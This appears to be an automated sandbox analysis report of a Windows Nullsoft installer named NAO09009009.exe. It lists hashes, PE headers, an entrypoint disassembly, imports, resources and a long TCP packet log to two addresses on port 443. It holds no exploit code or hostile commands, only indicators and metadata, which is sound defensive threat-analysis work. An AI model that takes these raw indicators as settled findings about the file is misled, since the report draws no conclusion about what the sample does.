SSDEEP:	6:zx3M1tlAX8bSWR30qysGMQbSVRRZBXVRbJ0fFdCsq2UTiMdH8stCal+n:zK1XnV30ZsGMIG9BFRbQdCT2UftCM+
MD5:	F227448515085A647910907084E6728E
SHA1:	5FA1A8E28B084DA25A1BBC51A2D75810CEF57E2C
SHA-256:	662BA47D628FE8EBE95DD47B4482110A10B49AED09387BC0E028BB66E68E20BD
SHA-512:	6F6E5DFFF7B17C304FB19B0BA5466AF84EF98A5C2EFA573AF72CFD3ED6964E9FD7F8E4B79FCFFBEF87CE545418C69D4984F4DD60BBF457D0A3640950F8FC5AF0
Malicious:	false
Preview:	Microsoft (R) Build Engine Version 2.0.50727.8922..[Microsoft .NET Framework, Version 2.0.50727.8922]..Copyright (C) Microsoft Corporation 2005. All rights reserved.....MSBUILD : error MSB1003: Specify a project or solution file. The current working directory does not contain a project or solution file...

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.827750389453101
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	NAO09009009.exe
File size:	283759
MD5:	592b395d837e34b3770d6113b213b877
SHA1:	26498da5dfa58609b38a6f0d294d35e60608cb78
SHA256:	e362816d729cd17eeca2ca5361937558f0455463bf4fba74d220163c43f46308
SHA512:	8545fa49f2c7a11bc619e79bf782ae85183a0430b1a79d742a2a66f9e4d39768aca5eab66d56d1c3414200edc4e5806d01a5bfc3e23a2e351986a5add9afc7f0
SSDEEP:	6144:jgORakB1sWrqD1jMeImmPaEBcrdNvBVcI15AArbVKWJua:jgI1sWrqRnIhiEOdVLnA+JH
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....$_.................f...*.....

File Icon


Icon Hash:	e4e6b292a4b4bcb4

Static PE Info

General
Entrypoint:	0x4035d8
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5F24D702 [Sat Aug 1 02:44:18 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	c05041e01f84e1ccca9c4451f3b6a383

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080C8h]
call dword ptr [004080CCh]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A26Ch], eax
je 00007F4D4493F713h
push ebx
call 00007F4D44942A19h
cmp eax, ebx
je 00007F4D4493F709h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007F4D44942993h
push esi
call dword ptr [00408154h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F4D4493F6ECh
push 0000000Bh
call 00007F4D449429ECh
push 00000009h
call 00007F4D449429E5h
push 00000007h
mov dword ptr [0042A264h], eax
call 00007F4D449429D9h
cmp eax, ebx
je 00007F4D4493F711h
push 0000001Eh
call eax
test eax, eax
je 00007F4D4493F709h
or byte ptr [0042A26Fh], 00000040h
push ebp
call dword ptr [00408038h]
push ebx
call dword ptr [00408298h]
mov dword ptr [0042A338h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 00421708h
call dword ptr [0040818Ch]
push 0040A384h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3b000	0x6010	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6572	0x6600	False	0.662300857843	data	6.45391938596	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1398	0x1400	False	0.449609375	data	5.13671758274	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20378	0x600	False	0.5078125	data	4.09680908363	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.ndata	0x2b000	0x10000	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x3b000	0x6010	0x6200	False	0.451769770408	data	5.54913124873	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x3b280	0x25a8	data	English	United States
RT_ICON	0x3d828	0x10a8	data	English	United States
RT_ICON	0x3e8d0	0xea8	data	English	United States
RT_ICON	0x3f778	0x8a8	data	English	United States
RT_ICON	0x40020	0x568	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0x40588	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_DIALOG	0x409f0	0x100	data	English	United States
RT_DIALOG	0x40af0	0x11c	data	English	United States
RT_DIALOG	0x40c10	0x60	data	English	United States
RT_GROUP_ICON	0x40c70	0x5a	data	English	United States
RT_MANIFEST	0x40cd0	0x340	XML 1.0 document, ASCII text, with very long lines, with no line terminators	English	United States

Imports

DLL	Import
ADVAPI32.dll	RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
SHELL32.dll	SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
ole32.dll	OleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
USER32.dll	GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, SetWindowPos, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
GDI32.dll	SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll	GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersion, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, ExitProcess, CopyFileW, GetCurrentProcess, GetModuleFileNameW, GetFileSize, CreateFileW, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 12, 2021 09:44:29.477237940 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.491261959 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.512136936 CEST	49701	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.534522057 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.534720898 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.534754038 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.534852028 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.534882069 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.536649942 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.536694050 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.536758900 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.536789894 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.538896084 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.538988113 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.545105934 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.547403097 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.547899008 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.547925949 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.547950029 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.547965050 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.547986031 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.548022032 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.567554951 CEST	443	49701	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.568203926 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:29.568361044 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:29.570080042 CEST	443	49701	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.570108891 CEST	443	49701	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.570125103 CEST	443	49701	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.570157051 CEST	443	49701	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.570173025 CEST	443	49701	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.570183039 CEST	49701	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.570266008 CEST	49701	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.590218067 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.600667953 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.600966930 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.600995064 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.601016045 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.601038933 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.601058960 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.601058960 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.601082087 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.601098061 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.601124048 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.601171017 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.613279104 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.615782976 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.615816116 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.615827084 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.615837097 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.615852118 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.615869045 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.615885973 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.615902901 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.615919113 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.615932941 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.616024017 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:29.616106987 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:29.645822048 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.646908998 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.646943092 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.647018909 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.647061110 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.648627996 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.648711920 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.663728952 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.663768053 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.663794994 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.663820028 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.663855076 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.663887024 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:29.663935900 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:29.663965940 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:29.664012909 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.664040089 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.664067984 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.664093971 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.664127111 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:29.664164066 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:29.664176941 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:29.664187908 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:29.664223909 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.664247990 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.664284945 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.664309025 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:29.664351940 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.669001102 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.670507908 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:29.670558929 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:29.681108952 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.681159973 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:29.681308031 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:29.712960005 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.713013887 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.713059902 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.713099003 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.713135958 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.713172913 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.713238955 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:29.713263988 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:29.718096018 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.718132973 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.718158007 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.718184948 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.718211889 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.718246937 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.718278885 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.775060892 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:29.775219917 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:30.027254105 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.036669016 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.077303886 CEST	49701	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.090560913 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.090641022 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.090740919 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.090780973 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.091877937 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.091922045 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.091965914 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.091996908 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.093538046 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.093616009 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.093635082 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.093688965 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.093842983 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.094659090 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.094702005 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.094748974 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.094778061 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.094832897 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.094907999 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.094954967 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.095007896 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.097507000 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.097599983 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.097676992 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.097718000 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.097735882 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.097773075 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.100524902 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.100563049 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.100610018 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.100640059 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.111541986 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.121732950 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.133810997 CEST	443	49701	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.134254932 CEST	443	49701	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.134299994 CEST	443	49701	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.134386063 CEST	443	49701	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.134399891 CEST	49701	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.134438038 CEST	49701	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.134457111 CEST	49701	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.149460077 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.151659966 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.151731968 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.151756048 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.151793003 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.152772903 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.152848959 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.152848959 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.152904987 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.155042887 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.155131102 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.155168056 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.155189991 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.157440901 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.157485962 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.157531977 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.157550097 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.159647942 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.159691095 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.159738064 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.159759998 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.161837101 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.161878109 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.161916971 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.161931038 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.164098024 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.164139032 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.164180040 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.166337967 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.166383982 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.166421890 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.166436911 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.166440010 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.167638063 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.167681932 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.167737961 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.168557882 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.168600082 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.168649912 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.168651104 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.169023991 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.169084072 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.169097900 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.169100046 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.169156075 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.170905113 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.170978069 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.170991898 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.171031952 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.171828985 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.171869040 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.171901941 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.173094034 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.173136950 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.173137903 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.173152924 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.173264027 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.174674034 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.174746990 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.175307035 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.175369978 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.177984953 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.178028107 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.178066015 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.178095102 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.179483891 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.179526091 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.179560900 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.179586887 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.182152987 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.182197094 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.182245970 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.182271957 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.184952021 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.185009003 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.185055971 CEST	49699	443	192.168.2.3	92.122.145.220
